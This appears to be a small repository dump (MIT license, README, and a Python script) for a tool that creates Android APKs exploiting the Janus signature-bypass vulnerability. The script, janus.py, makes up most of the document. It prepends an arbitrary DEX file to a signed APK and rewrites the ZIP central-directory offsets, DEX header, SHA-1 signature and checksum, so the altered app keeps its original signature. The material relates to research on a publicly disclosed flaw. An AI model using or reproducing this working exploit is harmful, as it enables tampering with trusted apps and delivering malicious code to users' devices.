├── LICENSE ├── README.md └── janus.py /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2017 Oden S. 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # janus 2 | 3 | Python script to create an Android APK exploiting the Janus vulnerability. 4 | 5 | [Credit to GuardSquare for the writeup.](https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures) 6 | 7 | ## Usage 8 | ``` 9 | usage: janus.py [-h] original-apk dex-file output-apk 10 | 11 | Creates an APK exploiting the Janus vulnerability. 12 | 13 | positional arguments: 14 | original-apk the source apk to use 15 | dex-file the dex file to prepend 16 | output-apk the file to output to 17 | 18 | optional arguments: 19 | -h, --help show this help message and exit 20 | ``` -------------------------------------------------------------------------------- /janus.py: -------------------------------------------------------------------------------- 1 | # Includes some code derived from the cpython project. 2 | # Source: https://github.com/python/cpython/blob/master/Lib/zipfile.py 3 | 4 | # Excuse the mess. 5 | 6 | import argparse 7 | from hashlib import sha1 8 | import os 9 | import struct 10 | from zipfile import _EndRecData, ZipFile 11 | from zlib import adler32 12 | 13 | _ECD_SIGNATURE = 0 14 | _ECD_DISK_NUMBER = 1 15 | _ECD_DISK_START = 2 16 | _ECD_ENTRIES_THIS_DISK = 3 17 | _ECD_ENTRIES_TOTAL = 4 18 | _ECD_SIZE = 5 19 | _ECD_OFFSET = 6 20 | _ECD_COMMENT_SIZE = 7 21 | 22 | structEndArchive = b"<4s4H2LH" 23 | stringEndArchive = b"PK\005\006" 24 | structCentralDir = "<4s4B4HL2L5H2L" 25 | stringCentralDir = b"PK\001\002" 26 | 27 | _DEX_MAGIC = 0 28 | _DEX_CHECKSUM = 1 29 | _DEX_SIGNATURE = 2 30 | _DEX_FILE_SIZE = 3 31 | 32 | structDexHeader = "<8sI20sI" 33 | 34 | def get_centdirs(filelist): 35 | arr = b"" 36 | for zinfo in filelist: 37 | dt = zinfo.date_time 38 | dosdate = (dt[0] - 1980) << 9 | dt[1] << 5 | dt[2] 39 | dostime = dt[3] << 11 | dt[4] << 5 | (dt[5] // 2) 40 | file_size = zinfo.file_size 41 | compress_size = zinfo.compress_size 42 | header_offset = zinfo.header_offset 43 | extra_data = zinfo.extra 44 | min_version = 0 45 | 46 | extract_version = max(min_version, zinfo.extract_version) 47 | create_version = max(min_version, zinfo.create_version) 48 | filename, flag_bits = zinfo._encodeFilenameFlags() 49 | centdir = struct.pack(structCentralDir, 50 | stringCentralDir, create_version, 51 | zinfo.create_system, extract_version, zinfo.reserved, 52 | flag_bits, zinfo.compress_type, dostime, dosdate, 53 | zinfo.CRC, compress_size, file_size, 54 | len(filename), len(extra_data), len(zinfo.comment), 55 | 0, zinfo.internal_attr, zinfo.external_attr, 56 | header_offset) 57 | 58 | arr += centdir 59 | arr += filename 60 | arr += extra_data 61 | arr += zinfo.comment 62 | 63 | return arr 64 | 65 | def pack_endrec(endrec): 66 | return struct.pack( 67 | structEndArchive, 68 | endrec[_ECD_SIGNATURE], 69 | endrec[_ECD_DISK_NUMBER], 70 | endrec[_ECD_DISK_START], 71 | endrec[_ECD_ENTRIES_THIS_DISK], 72 | endrec[_ECD_ENTRIES_TOTAL], 73 | endrec[_ECD_SIZE], 74 | endrec[_ECD_OFFSET], 75 | endrec[_ECD_COMMENT_SIZE] 76 | ) 77 | 78 | def get_endrec(file): 79 | pos = file.tell() 80 | endrec = _EndRecData(file) 81 | file.seek(pos) 82 | 83 | return endrec 84 | 85 | def sort_info(info): 86 | if info.filename.startswith("META-INF"): 87 | return "Z" 88 | else: 89 | return "A" 90 | 91 | def get_dex_header(data): 92 | return list(struct.unpack(structDexHeader, data[0:0x24])) 93 | 94 | def pack_dex_header(header): 95 | return struct.pack( 96 | structDexHeader, 97 | header[_DEX_MAGIC], 98 | header[_DEX_CHECKSUM], 99 | header[_DEX_SIGNATURE], 100 | header[_DEX_FILE_SIZE] 101 | ) 102 | 103 | def make_dex_header(header, file_data, final_size): 104 | header[_DEX_FILE_SIZE] = final_size 105 | packed_header = pack_dex_header(header) 106 | 107 | signature = sha1() 108 | signature.update(packed_header[0x20:] + file_data) 109 | header[_DEX_SIGNATURE] = signature.digest() 110 | 111 | header[_DEX_CHECKSUM] = adler32( 112 | header[_DEX_SIGNATURE] + 113 | packed_header[0x20:] + 114 | file_data 115 | ) 116 | 117 | return pack_dex_header(header) 118 | 119 | parser = argparse.ArgumentParser(description="Creates an APK exploiting the Janus vulnerability.") 120 | parser.add_argument("apk_in", metavar="original-apk", type=str, 121 | help="the source apk to use") 122 | parser.add_argument("dex_in", metavar="dex-file", type=str, 123 | help="the dex file to prepend") 124 | parser.add_argument("apk_out", metavar="output-apk", type=str, 125 | help="the file to output to") 126 | args = parser.parse_args() 127 | 128 | with ZipFile(args.apk_in, "r") as apk_in_zip, open(args.apk_in, "rb") as apk_in, open(args.dex_in, "rb") as dex_in, open(args.apk_out, "wb") as apk_out: 129 | dex_data = dex_in.read() 130 | dex_header = get_dex_header(dex_data) 131 | dex_size = os.path.getsize(args.dex_in) 132 | 133 | orig_endrec = get_endrec(apk_in) 134 | new_endrec = get_endrec(apk_in) 135 | new_endrec[_ECD_OFFSET] = new_endrec[_ECD_OFFSET] + dex_size 136 | 137 | final_size = os.path.getsize(args.apk_in) + dex_size 138 | 139 | apk_in_zip.filelist = sorted(apk_in_zip.filelist, key=sort_info) 140 | infolist = apk_in_zip.infolist() 141 | for info in infolist: 142 | info.date_time = (2042, 14, 3, 0, 62, 18) 143 | info.header_offset = info.header_offset + dex_size 144 | 145 | out_bytes = b"" 146 | out_bytes += dex_data[0x24:] 147 | out_bytes += apk_in.read()[:orig_endrec[_ECD_OFFSET]] 148 | out_bytes += get_centdirs(infolist) 149 | out_bytes += pack_endrec(new_endrec) 150 | out_bytes = make_dex_header(dex_header, out_bytes, final_size) + out_bytes 151 | apk_out.write(out_bytes) --------------------------------------------------------------------------------